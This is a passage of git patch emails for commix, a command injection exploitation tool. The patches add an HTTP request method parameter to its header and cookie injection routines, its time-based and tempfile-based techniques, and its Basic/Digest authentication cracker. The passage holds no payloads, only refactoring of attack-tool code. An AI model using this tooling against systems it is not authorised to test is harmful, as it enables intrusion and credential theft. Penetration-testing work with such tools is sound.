http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: - response = custom_header_injection_test(url, vuln_parameter, payload) + response = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: # Check if defined POST data @@ -199,9 +199,9 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) if len(settings.USER_DEFINED_POST_DATA) != 0: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(target) + request = _urllib.request.Request(target, method=http_request_method) # Check if defined extra headers. headers.do_check(request) # Get the response of the request @@ -227,7 +227,7 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 408c7152a3..bd6e4c3605 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -164,31 +164,31 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload) + how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload, http_request_method) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload) + how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload) + how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload, http_request_method) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) - how_long = tfb_injector.host_injection_test(url, vuln_parameter, payload) + how_long = tfb_injector.host_injection_test(url, vuln_parameter, payload, http_request_method) # Custom HTTP header injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload) + how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: # Check if target host is vulnerable. diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 93cca89e05..fb5521812c 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -54,9 +54,9 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) if len(settings.USER_DEFINED_POST_DATA) != 0: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(target) + request = _urllib.request.Request(target, method=http_request_method) # Check if defined method is POST. else : @@ -78,7 +78,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -109,9 +109,9 @@ def injection_test(payload, http_request_method, url): vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) if len(settings.USER_DEFINED_POST_DATA) != 0: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(target) + request = _urllib.request.Request(target, method=http_request_method) # Check if defined method is POST. else: @@ -135,7 +135,7 @@ def injection_test(payload, http_request_method, url): data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -149,32 +149,32 @@ def injection_test(payload, http_request_method, url): """ Check if target host is vulnerable. (Cookie-based injection) """ -def cookie_injection_test(url, vuln_parameter, payload): - return requests.cookie_injection(url, vuln_parameter, payload) +def cookie_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.cookie_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (User-Agent-based injection) """ -def user_agent_injection_test(url, vuln_parameter, payload): - return requests.user_agent_injection(url, vuln_parameter, payload) +def user_agent_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.user_agent_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Referer-based injection) """ -def referer_injection_test(url, vuln_parameter, payload): - return requests.referer_injection(url, vuln_parameter, payload) +def referer_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.referer_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Referer-based injection) """ -def host_injection_test(url, vuln_parameter, payload): - return requests.host_injection(url, vuln_parameter, payload) +def host_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.host_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Custom header injection) """ -def custom_header_injection_test(url, vuln_parameter, payload): - return requests.custom_header_injection(url, vuln_parameter, payload) +def custom_header_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.custom_header_injection(url, vuln_parameter, payload, http_request_method) """ The main command injection exploitation. @@ -220,23 +220,23 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) + how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) + how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) + how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) + how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) + how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) @@ -301,23 +301,23 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) + how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) + how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) + how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) + how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) + how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) @@ -407,23 +407,23 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) + how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) + how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) + how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) + how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) + how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) @@ -472,23 +472,23 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) + how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) + how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) + how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) + how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) + how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) diff --git a/src/core/main.py b/src/core/main.py index 076b1f39c1..b1173f972c 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -139,13 +139,13 @@ def examine_request(request, url): def check_internet(url): settings.CHECK_INTERNET = True settings.CHECK_INTERNET_ADDRESS = checks.check_http_s(url) - info_msg = "Checking for internet connection. " + info_msg = "Checking for internet connection." sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) try: - request = _urllib.request.Request(settings.CHECK_INTERNET_ADDRESS) + request = _urllib.request.Request(settings.CHECK_INTERNET_ADDRESS, method=settings.HTTPMETHOD.GET) headers.do_check(request) examine_request(request, url) except: @@ -156,7 +156,7 @@ def check_internet(url): """ The init (URL) request. """ -def init_request(url): +def init_request(url, http_request_method): # Number of seconds to wait before timeout connection if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP timeout." @@ -174,12 +174,12 @@ def init_request(url): # Check if defined character used for splitting parameter values. if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA: settings.PARAMETER_DELIMITER = menu.options.pdel - request = _urllib.request.Request(url, menu.options.data.encode()) + request = _urllib.request.Request(url, menu.options.data.encode(), method=http_request_method) else: # Check if defined character used for splitting parameter values. if menu.options.pdel and menu.options.pdel in url: settings.PARAMETER_DELIMITER = menu.options.pdel - request = _urllib.request.Request(url) + request = _urllib.request.Request(url, method=http_request_method) # Check if defined any HTTP Proxy (--proxy option). headers.do_check(request) # Used a valid pair of valid credentials @@ -198,7 +198,7 @@ def init_request(url): """ Get the URL response. """ -def url_response(url): +def url_response(url, http_request_method): # Check if http / https url = checks.check_http_s(url) settings.TARGET_URL = _urllib.parse.urlparse(url).hostname @@ -206,7 +206,7 @@ def url_response(url): settings.TOR_CHECK_AGAIN = False # initiate total of requests settings.TOTAL_OF_REQUESTS = 0 - request = init_request(url) + request = init_request(url, http_request_method) if settings.CHECK_INTERNET: settings.CHECK_INTERNET = False if settings.INIT_TEST == True: @@ -221,7 +221,7 @@ def url_response(url): url = redirect_url if not menu.options.skip_waf: settings.WAF_DETECTION_PHASE = True - waf_request, waf_url = checks.check_waf(url) + waf_request, waf_url = checks.check_waf(url, http_request_method) headers.do_check(waf_request) examine_request(waf_request, waf_url) settings.WAF_DETECTION_PHASE = False @@ -861,7 +861,7 @@ def main(filename, url): http_request_method = checks.check_http_method(url) if os_checks_num == 0: settings.INIT_TEST = True - response, url = url_response(url) + response, url = url_response(url, http_request_method) if response != False: filename = logs.logs_filename_creation(url) main(filename, url) @@ -989,7 +989,7 @@ def main(filename, url): menu.options.level = 1 init_injection(url) try: - response, url = url_response(url) + response, url = url_response(url, http_request_method) if response != False: filename = logs.logs_filename_creation(url) main(filename, url) diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 7407b677cf..7bfd54d503 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -37,7 +37,7 @@ """ The authentication process """ -def authentication_process(): +def authentication_process(http_request_method): try: auth_url = menu.options.auth_url auth_data = menu.options.auth_data @@ -55,7 +55,7 @@ def authentication_process(): info_msg += str(menu.options.cookie) + Style.RESET_ALL + "." print(settings.print_bold_info_msg(info_msg)) _urllib.request.install_opener(opener) - request = _urllib.request.Request(auth_url, auth_data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(auth_url, auth_data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) # Get the response of the request. @@ -140,7 +140,7 @@ def define_wordlists(): """ Simple Basic / Digest HTTP authentication cracker. """ -def http_auth_cracker(url, realm): +def http_auth_cracker(url, realm, http_request_method): settings.PERFORM_CRACKING = True # Define the HTTP authentication type. authentication_type = menu.options.auth_type @@ -170,7 +170,7 @@ def http_auth_cracker(url, realm): authhandler.add_password(realm, url, username, password) opener = _urllib.request.build_opener(authhandler) _urllib.request.install_opener(opener) - request = _urllib.request.Request(url) + request = _urllib.request.Request(url, method=http_request_method) headers.do_check(request) headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index c14d3b2e50..bceb92a274 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -273,12 +273,14 @@ def json_format(parameter): if checks.is_JSON_check(checks.check_quotes_json_data(parameter)): parameter = checks.check_quotes_json_data(parameter) if not settings.IS_JSON: - settings.IS_JSON = checks.process_json_data() + data_type = "JSON" + settings.IS_JSON = checks.process_data(data_type, http_request_method) settings.PARAMETER_DELIMITER = "," # Check if XML Object. elif checks.is_XML_check(parameter): if not settings.IS_XML: - settings.IS_XML = checks.process_xml_data() + data_type = "XML/SOAP" + settings.IS_XML = checks.process_data(data_type, http_request_method) settings.PARAMETER_DELIMITER = "" else: pass diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 442201a737..e6911c121a 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -46,9 +46,9 @@ def crawler_request(url): try: if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(url) + request = _urllib.request.Request(url, method=http_request_method) headers.do_check(request) headers.check_http_traffic(request) if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: @@ -70,7 +70,7 @@ def crawler_request(url): """ Estimating the response time (in seconds). """ -def estimate_response_time(url, timesec): +def estimate_response_time(url, timesec, http_request_method): stored_auth_creds = False _ = False if settings.VERBOSITY_LEVEL != 0: @@ -79,9 +79,9 @@ def estimate_response_time(url, timesec): sys.stdout.flush() # Check if defined POST data if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE).encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE).encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE)) + request = _urllib.request.Request(url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE), method=http_request_method) headers.do_check(request) start = time.time() @@ -163,7 +163,7 @@ def estimate_response_time(url, timesec): message = "Do you want to perform a dictionary-based attack? [Y/n] > " do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: - auth_creds = authentication.http_auth_cracker(url, realm) + auth_creds = authentication.http_auth_cracker(url, realm, http_request_method) if auth_creds != False: menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True @@ -192,7 +192,7 @@ def estimate_response_time(url, timesec): message = "Do you want to perform a dictionary-based attack? [Y/n] > " do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: - auth_creds = authentication.http_auth_cracker(url, realm) + auth_creds = authentication.http_auth_cracker(url, realm, http_request_method) if auth_creds != False: menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True @@ -422,19 +422,18 @@ def get_request_response(request): """ Check if target host is vulnerable. (Cookie-based injection) """ -def cookie_injection(url, vuln_parameter, payload): +def cookie_injection(url, vuln_parameter, payload, http_request_method): - def inject_cookie(url, vuln_parameter, payload): + def inject_cookie(url, vuln_parameter, payload, http_request_method): if settings.TIME_RELATIVE_ATTACK : payload = _urllib.parse.quote(payload) # Check if defined POST data - if menu.options.data: - menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) + if len(settings.USER_DEFINED_POST_DATA) != 0: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) + data = None + request = _urllib.request.Request(url, data, method=http_request_method) #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) @@ -459,7 +458,7 @@ def inject_cookie(url, vuln_parameter, payload): start = time.time() try: - response = inject_cookie(url, vuln_parameter, payload) + response = inject_cookie(url, vuln_parameter, payload, http_request_method) except Exception as err_msg: response = request_failed(err_msg) @@ -473,16 +472,15 @@ def inject_cookie(url, vuln_parameter, payload): """ Check if target host is vulnerable. (User-Agent-based injection) """ -def user_agent_injection(url, vuln_parameter, payload): +def user_agent_injection(url, vuln_parameter, payload, http_request_method): - def inject_user_agent(url, vuln_parameter, payload): + def inject_user_agent(url, vuln_parameter, payload, http_request_method): # Check if defined POST data - if menu.options.data: - menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) + if len(settings.USER_DEFINED_POST_DATA) != 0: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) + data = None + request = _urllib.request.Request(url, data, method=http_request_method) #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) @@ -503,7 +501,7 @@ def inject_user_agent(url, vuln_parameter, payload): start = time.time() try: - response = inject_user_agent(url, vuln_parameter, payload) + response = inject_user_agent(url, vuln_parameter, payload, http_request_method) except Exception as err_msg: response = request_failed(err_msg) @@ -517,16 +515,15 @@ def inject_user_agent(url, vuln_parameter, payload): """ Check if target host is vulnerable. (Referer-based injection) """ -def referer_injection(url, vuln_parameter, payload): +def referer_injection(url, vuln_parameter, payload, http_request_method): - def inject_referer(url, vuln_parameter, payload): + def inject_referer(url, vuln_parameter, payload, http_request_method): # Check if defined POST data - if menu.options.data: - menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) + if len(settings.USER_DEFINED_POST_DATA) != 0: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) + data = None + request = _urllib.request.Request(url, data, method=http_request_method) #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) @@ -547,7 +544,7 @@ def inject_referer(url, vuln_parameter, payload): start = time.time() try: - response = inject_referer(url, vuln_parameter, payload) + response = inject_referer(url, vuln_parameter, payload, http_request_method) except Exception as err_msg: response = request_failed(err_msg) @@ -561,11 +558,11 @@ def inject_referer(url, vuln_parameter, payload): """ Check if target host is vulnerable. (Host-based injection) """ -def host_injection(url, vuln_parameter, payload): +def host_injection(url, vuln_parameter, payload, http_request_method): payload = _urllib.parse.urlparse(url).netloc + payload - def inject_host(url, vuln_parameter, payload): + def inject_host(url, vuln_parameter, payload, http_request_method): if proxy == None: opener = _urllib.request.build_opener() @@ -573,12 +570,11 @@ def inject_host(url, vuln_parameter, payload): opener = _urllib.request.build_opener(proxy) # Check if defined POST data - if menu.options.data: - menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) + if len(settings.USER_DEFINED_POST_DATA) != 0: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) + data = None + request = _urllib.request.Request(url, data, method=http_request_method) #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) @@ -599,7 +595,7 @@ def inject_host(url, vuln_parameter, payload): start = time.time() try: - response = inject_host(url, vuln_parameter, payload) + response = inject_host(url, vuln_parameter, payload, http_request_method) except Exception as err_msg: response = request_failed(err_msg) @@ -613,16 +609,15 @@ def inject_host(url, vuln_parameter, payload): """ Check if target host is vulnerable. (Custom header injection) """ -def custom_header_injection(url, vuln_parameter, payload): +def custom_header_injection(url, vuln_parameter, payload, http_request_method): - def inject_custom_header(url, vuln_parameter, payload): + def inject_custom_header(url, vuln_parameter, payload, http_request_method): # Check if defined POST data - if menu.options.data: - menu.options.data = settings.USER_DEFINED_POST_DATA - request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) + if len(settings.USER_DEFINED_POST_DATA) != 0: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) + data = None + request = _urllib.request.Request(url, data, method=http_request_method) #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) @@ -646,7 +641,7 @@ def inject_custom_header(url, vuln_parameter, payload): start = time.time() try: - response = inject_custom_header(url, vuln_parameter, payload) + response = inject_custom_header(url, vuln_parameter, payload, http_request_method) except Exception as err_msg: response = request_failed(err_msg) diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index 7012cffea9..ea05fceb9e 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -45,7 +45,7 @@ def do_check(): print(settings.print_critical_msg(err_msg)) raise SystemExit() try: - request = _urllib.request.Request(settings.CHECK_TOR_PAGE) + request = _urllib.request.Request(settings.CHECK_TOR_PAGE, method=settings.HTTPMETHOD.GET) response = proxy.use_proxy(request) page = response.read().decode(settings.DEFAULT_CODEC) except Exception as err_msg: diff --git a/src/utils/settings.py b/src/utils/settings.py index 856cdbae2d..81938c0119 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "18" +REVISION = "19" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4c67d234e40396979999e452b1c8e17759bbc293 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 30 Mar 2024 09:15:26 +0200 Subject: [PATCH 0412/1023] Fixes https://github.com/commixproject/commix/issues/900 --- src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/controller.py | 14 ++++++-------- src/utils/settings.py | 2 +- 3 files changed, 8 insertions(+), 10 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 821547cc68..c555163928 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1807,7 +1807,7 @@ def process_data(data_type, http_request_method): elif process in settings.CHOICE_NO: settings.IGNORE_USER_DEFINED_POST_DATA = True return False - elif json_process in settings.CHOICE_QUIT: + elif process in settings.CHOICE_QUIT: raise SystemExit() else: common.invalid_option(json_process) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 558c3b4d15..553be59a20 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -91,7 +91,6 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") payload = parameters.suffixes(payload, suffix="") - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) @@ -273,18 +272,17 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time basic_level_checks() inject_http_headers = False + if menu.options.method: - http_request_method = menu.options.method + http_request_method = menu.options.method.upper() elif check_parameter.lower() in url : http_request_method = settings.HTTPMETHOD.GET - elif check_parameter.lower() not in menu.options.data: + elif check_parameter.lower() in settings.USER_DEFINED_POST_DATA: http_request_method = settings.HTTPMETHOD.POST - if (http_request_method == settings.HTTPMETHOD.GET and check_parameter.lower() not in url) or \ - (http_request_method == settings.HTTPMETHOD.POST and menu.options.data and check_parameter.lower() not in menu.options.data): - if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ - any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME): - inject_http_headers = True + if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ + any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME): + inject_http_headers = True # User-Agent HTTP header / Referer HTTP header / # Host HTTP header / Custom HTTP header Injection(s) diff --git a/src/utils/settings.py b/src/utils/settings.py index 81938c0119..76211bcb06 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "19" +REVISION = "20" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d60dd0584bff3b608d66763273cbf43ca613de6a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 1 Apr 2024 09:14:26 +0300 Subject: [PATCH 0413/1023] Trivial update & potential fix https://github.com/commixproject/commix/issues/899 --- src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/parser.py | 8 +++++++- src/core/main.py | 3 +-- src/core/requests/headers.py | 2 +- src/core/requests/parameters.py | 18 ++++++++++++------ src/utils/settings.py | 2 +- 6 files changed, 23 insertions(+), 12 deletions(-) diff --git a/src/core/injections/controller/checks.py 